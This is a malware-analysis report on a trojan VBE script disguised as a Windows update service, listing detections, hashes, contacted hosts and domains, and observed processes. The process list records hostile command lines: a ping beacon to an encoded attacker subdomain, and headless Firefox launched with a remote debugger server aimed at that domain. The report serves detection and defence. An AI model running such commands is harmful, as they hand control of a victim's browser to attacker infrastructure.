Windows Updates Service.vbe
Classification: Malicious
Windows Updates Service.vbe is a malicious file sample. Reported by 1 threat source, last seen 2020-01-04. Detected by 16 antivirus engines.
Detection summary
- 16 antivirus detections (28% detection ratio)
- 0 IDS alerts
- 9 processes observed
- 17 contacted hosts
- 32 DNS requests
Blacklist sightings
| Description | Source | First seen | Last seen | Labels | MITRE ATT&CK |
|---|---|---|---|---|---|
| Agent | Hybrid-Analysis | 2020-01-04 12:45:12 | 2020-01-04 12:45:12 |
Sample information
- Filenames
- Windows Updates Service.vbe
- File type
- data
- Size
- 997 bytes
- MD5
b50971858bfa067b7b5d9503e1b4c823- SHA-1
aa4a5f946318135e009b3513d138cee543d068dd- SHA-256
d582e012bbb37a1220b3232dbfa3c26383c3e5d34d8dcfc72f7d217570bdb828- First indexed
- 2020-01-04 12:45:12
- Last updated
- 2020-01-04 12:45:12
Antivirus detections
| Engine | Detection |
|---|---|
| MicroWorld-eScan | VB:Trojan.Agent.EBVC |
| CAT-QuickHeal | VBS.Trojan.Agent.35875 |
| Arcabit | VB:Trojan.Agent.EBVC |
| Avast | Script:SNH-gen [Trj] |
| ClamAV | Win.Trojan.VBAgent-6647926-0 |
| Kaspersky | HEUR:Trojan.Script.Agent.gen |
| BitDefender | VB:Trojan.Agent.EBVC |
| Ad-Aware | VB:Trojan.Agent.EBVC |
| FireEye | VB:Trojan.Agent.EBVC |
| Emsisoft | VB:Trojan.Agent.EBVC (B) |
| ZoneAlarm | HEUR:Trojan.Script.Agent.gen |
| GData | VB:Trojan.Agent.EBVC |
| ALYac | VB:Trojan.Agent.EBVC |
| MAX | malware (ai score=81) |
| Ikarus | Trojan.VB.Agent |
| AVG | Script:SNH-gen [Trj] |
Network contacts
99.84.167.25 99.84.251.81 204.237.142.178 52.33.184.165 54.72.229.126 99.84.251.56 99.84.167.87 51.68.180.217 80.86.87.7 35.164.178.120 99.84.251.7 99.84.167.129 217.172.190.220 172.217.9.46 172.217.4.35 172.217.4.74 52.25.235.43
DNS requests
a1089.dscd.akamai.net a19.dscg10.akamai.net a771.dscq.akamai.net balrog-cloudfront.prod.mozaws.net bouncer-bouncer-elb.prod.mozaws.net cdn.windows-updates-service.com cs9.wac.phicdn.net d1zkz3k4cclnv6.cloudfront.net d228z91au11ukj.cloudfront.net d2nxq2uap88usk.cloudfront.net d6wjo2hisqfy2.cloudfront.net dcky6u1m8u6el.cloudfront.net detectportal.firefox.com dyna.wikimedia.org e15316.e22.akamaiedge.net e8220.dscd.akamaiedge.net getpocket.com locprod1-elb-eu-west-1.prod.mozaws.net mansueto.map.fastly.net ocsp.int-x3.letsencrypt.org ocsp.pki.goog pipeline-incoming-prod-elb-149169523.us-west-2.elb.amazonaws.com prod-classifyclient.normandy.prod.cloudops.mozgcp.net reddit.map.fastly.net safebrowsing.googleapis.com shavar.prod.mozaws.net star-mini.c10r.facebook.com twitter.com upd.fast-dns-host.com window-updates-service.com www.3531376103569388.windows-updates-service.com www.amazon.com
Process list
| Name | Command line |
|---|---|
| wscript.exe | "%WINDIR%\pdatesService.vbe" |
| PING.EXE | -n 1 -w 300 www.google.com.194793860117594.window-updates-service.com |
| firefox.exe | -no-remote -CreateProfile user |
| firefox.exe | -no-remote -headless -new-instance -P "user" --start-debugger-server ws:6000 http://www.google.com.194793860117594.window-updates-service.com |
| firefox.exe | -contentproc --channel="3000.0.448360855\1022270878" -childID 1 -isForBrowser -intPrefs 5:50|6:-1|28:1000|34:20|35:5|36:10|45:128|46:10000|51:0|53:400|54:1|55:0|56:0|61:0|62:120|63:120|98:2|99:1|114:5000|124:0|126:0|137:10000|149:-1|154:128|155:10000|156:0|162:24|163:32768|165:0|166:0|174:5|178:1048576|179:100|180:5000|182:600|184:1|193:3|197:0|206:60000| -boolPrefs 1:0|2:0|4:0|26:1|27:1|30:0|33:1|37:1|38:0|39:0|40:0|43:1|44:1|47:0|48:0|49:0|50:0|52:0|57:1|58:1|59:0|60:1|64:1|65:1|66:0|67:1|68:1|69:0|70:1|73:0|74:0|77:1|78:1|82:1|83:1|84:1|85:0|86:0|88:0|89:0|90:1|91:0|92:1|95:1|97:0|100:1|101:0|108:0|113:0|116:1|119:1|121:1|125:0|128:1|131:1|132:1|138:1|139:0|140:1|142:0|148:0|150:1|151:0|152:1|153:1|160:0|161:0|164:1|167:0|169:1|171:1|172:0|177:0|181:1|186:0|187:0|188:0|189:1|190:0|191:1|192:1|195:0|198:0|199:0|200:1|201:1|202:0|203:1|204:1|205:1|207:0|208:0|210:0|218:1|219:1|220:0|221:0|222:0| -stringPrefs "3:7;release|96:0;|141:3;1.0|158:332; ¼½¾ǃː̷̸։֊׃״؉؊٪۔܁܂܃܄ᅟᅠ᜵ ‐’․‧
‹›⁁⁄⁒ ⅓⅔⅕⅖⅗⅘⅙⅚⅛⅜⅝⅞⅟∕∶⎮╱⧶⧸⫻⫽⿰⿱⿲⿳⿴⿵⿶⿷⿸⿹⿺⿻ 。〔〕〳゠ㅤ㈝㈞㎮㎯㏆㏟꞉︔︕︿﹝﹞．／｡ﾠ�|159:4;high|194:38;{c4e63e4b-7544-46f8-bf61-47ee8c683aad}|" -schedulerPrefs 0001,2 -greomni "C:\Program Files\Mozilla Firefox\omni.ja" -appomni "C:\Program Files\Mozilla Firefox\browser\omni.ja" -appdir "C:\Program Files\Mozilla Firefox\browser" 3000 "\\.\pipe\gecko-crash-server-pipe.3000" tab |
| firefox.exe | -contentproc --channel="3000.6.669208003\1935096879" -childID 2 -isForBrowser -intPrefs 5:50|6:-1|28:1000|34:20|35:5|36:10|45:128|46:10000|51:0|53:400|54:1|55:0|56:0|61:0|62:120|63:120|98:2|99:1|114:5000|124:0|126:0|137:10000|149:-1|154:128|155:10000|156:0|162:24|163:32768|165:0|166:0|174:5|178:1048576|179:100|180:5000|182:600|184:1|193:3|197:0|206:60000| -boolPrefs 1:0|2:0|4:0|26:1|27:1|30:0|33:1|37:1|38:0|39:0|40:0|43:1|44:1|47:0|48:0|49:0|50:0|52:0|57:1|58:1|59:0|60:1|64:1|65:1|66:0|67:1|68:1|69:0|70:1|73:0|74:0|77:1|78:1|82:1|83:1|84:1|85:0|86:0|88:0|89:0|90:1|91:0|92:1|95:1|97:0|100:1|101:0|108:0|113:0|116:1|119:1|121:1|125:0|128:1|131:1|132:1|138:1|139:0|140:1|142:0|148:0|150:1|151:0|152:1|153:1|160:0|161:0|164:1|167:0|169:1|171:1|172:0|177:0|181:1|186:0|187:0|188:0|189:1|190:0|191:1|192:1|195:0|198:0|199:0|200:1|201:1|202:0|203:1|204:1|205:1|207:0|208:0|210:0|218:1|219:1|220:0|221:0|222:0| -stringPrefs "3:7;release|96:0;|141:3;1.0|158:332; ¼½¾ǃː̷̸։֊׃״؉؊٪۔܁܂܃܄ᅟᅠ᜵ ‐’․‧
‹›⁁⁄⁒ ⅓⅔⅕⅖⅗⅘⅙⅚⅛⅜⅝⅞⅟∕∶⎮╱⧶⧸⫻⫽⿰⿱⿲⿳⿴⿵⿶⿷⿸⿹⿺⿻ 。〔〕〳゠ㅤ㈝㈞㎮㎯㏆㏟꞉︔︕︿﹝﹞．／｡ﾠ�|159:4;high|194:38;{c4e63e4b-7544-46f8-bf61-47ee8c683aad}|" -schedulerPrefs 0001,2 -greomni "C:\Program Files\Mozilla Firefox\omni.ja" -appomni "C:\Program Files\Mozilla Firefox\browser\omni.ja" -appdir "C:\Program Files\Mozilla Firefox\browser" 3000 "\\.\pipe\gecko-crash-server-pipe.3000" tab |
| firefox.exe | -contentproc --channel="3000.12.1650997472\1315163479" -childID 3 -isForBrowser -intPrefs 5:50|6:-1|28:1000|34:20|35:5|36:10|45:128|46:10000|51:0|53:400|54:1|55:0|56:0|61:0|62:120|63:120|98:2|99:1|114:5000|124:0|126:0|137:10000|149:-1|154:128|155:10000|156:0|162:24|163:32768|165:0|166:0|174:5|178:1048576|179:100|180:5000|182:600|184:1|193:3|197:0|206:60000| -boolPrefs 1:0|2:0|4:0|26:1|27:1|30:0|33:1|37:1|38:0|39:0|40:0|43:1|44:1|47:0|48:0|49:0|50:0|52:0|57:1|58:1|59:0|60:1|64:1|65:1|66:0|67:1|68:1|69:0|70:1|73:0|74:0|77:1|78:1|82:1|83:1|84:1|85:0|86:0|88:0|89:0|90:1|91:0|92:1|95:1|97:0|100:1|101:0|108:0|113:0|116:1|119:1|121:1|125:0|128:1|131:1|132:1|138:1|139:0|140:1|142:0|148:0|150:1|151:0|152:1|153:1|160:0|161:0|164:1|167:0|169:1|171:1|172:0|177:0|181:1|186:0|187:0|188:0|189:1|190:0|191:1|192:1|195:0|198:0|199:0|200:1|201:1|202:0|203:1|204:1|205:1|207:0|208:0|210:0|218:1|219:1|220:0|221:0|222:0| -stringPrefs "3:7;release|96:0;|141:3;1.0|158:332; ¼½¾ǃː̷̸։֊׃״؉؊٪۔܁܂܃܄ᅟᅠ᜵ ‐’․‧
‹›⁁⁄⁒ ⅓⅔⅕⅖⅗⅘⅙⅚⅛⅜⅝⅞⅟∕∶⎮╱⧶⧸⫻⫽⿰⿱⿲⿳⿴⿵⿶⿷⿸⿹⿺⿻ 。〔〕〳゠ㅤ㈝㈞㎮㎯㏆㏟꞉︔︕︿﹝﹞．／｡ﾠ�|159:4;high|194:38;{c4e63e4b-7544-46f8-bf61-47ee8c683aad}|" -schedulerPrefs 0001,2 -greomni "C:\Program Files\Mozilla Firefox\omni.ja" -appomni "C:\Program Files\Mozilla Firefox\browser\omni.ja" -appdir "C:\Program Files\Mozilla Firefox\browser" 3000 "\\.\pipe\gecko-crash-server-pipe.3000" tab |
| firefox.exe | -contentproc --channel="3000.18.689902872\1201838864" -childID 4 -isForBrowser -intPrefs 5:50|6:-1|28:1000|34:20|35:5|36:10|45:128|46:10000|51:0|53:400|54:1|55:0|56:0|61:0|62:120|63:120|98:2|99:1|114:5000|124:0|126:0|137:10000|149:-1|154:128|155:10000|156:0|162:24|163:32768|165:0|166:0|174:5|178:1048576|179:100|180:5000|182:600|184:1|193:3|197:0|206:60000| -boolPrefs 1:0|2:0|4:0|26:1|27:1|30:0|33:1|37:1|38:0|39:0|40:0|43:1|44:1|47:0|48:0|49:0|50:0|52:0|57:1|58:1|59:0|60:1|64:1|65:1|66:0|67:1|68:1|69:0|70:1|73:0|74:0|77:1|78:1|82:1|83:1|84:1|85:0|86:0|88:0|89:0|90:1|91:0|92:1|95:1|97:0|100:1|101:0|108:0|113:0|116:1|119:1|121:1|125:0|128:1|131:1|132:1|138:1|139:0|140:1|142:0|148:0|150:1|151:0|152:1|153:1|160:0|161:0|164:1|167:0|169:1|171:1|172:0|177:0|181:1|186:0|187:0|188:0|189:1|190:0|191:1|192:1|195:0|198:0|199:0|200:1|201:1|202:0|203:1|204:1|205:1|207:0|208:0|210:0|218:1|219:1|220:0|221:0|222:0| -stringPrefs "3:7;release|96:0;|141:3;1.0|158:332; ¼½¾ǃː̷̸։֊׃״؉؊٪۔܁܂܃܄ᅟᅠ᜵ ‐’․‧
‹›⁁⁄⁒ ⅓⅔⅕⅖⅗⅘⅙⅚⅛⅜⅝⅞⅟∕∶⎮╱⧶⧸⫻⫽⿰⿱⿲⿳⿴⿵⿶⿷⿸⿹⿺⿻ 。〔〕〳゠ㅤ㈝㈞㎮㎯㏆㏟꞉︔︕︿﹝﹞．／｡ﾠ�|159:4;high|194:38;{c4e63e4b-7544-46f8-bf61-47ee8c683aad}|" -schedulerPrefs 0001,2 -greomni "C:\Program Files\Mozilla Firefox\omni.ja" -appomni "C:\Program Files\Mozilla Firefox\browser\omni.ja" -appdir "C:\Program Files\Mozilla Firefox\browser" 3000 "\\.\pipe\gecko-crash-server-pipe.3000" tab |
| pingsender.exe | undefined/submit/telemetry/a8b34edf-5167-414d-b8bf-2d8a23bc45b2/update/Firefox/57.0.1/release/20171128222554?v=4 %APPDATA%\Mozilla\Firefox\Profiles\vhfwc3qa.user\saved-telemetry-pings\a8b34edf-5167-414d-b8bf-2d8a23bc45b2 |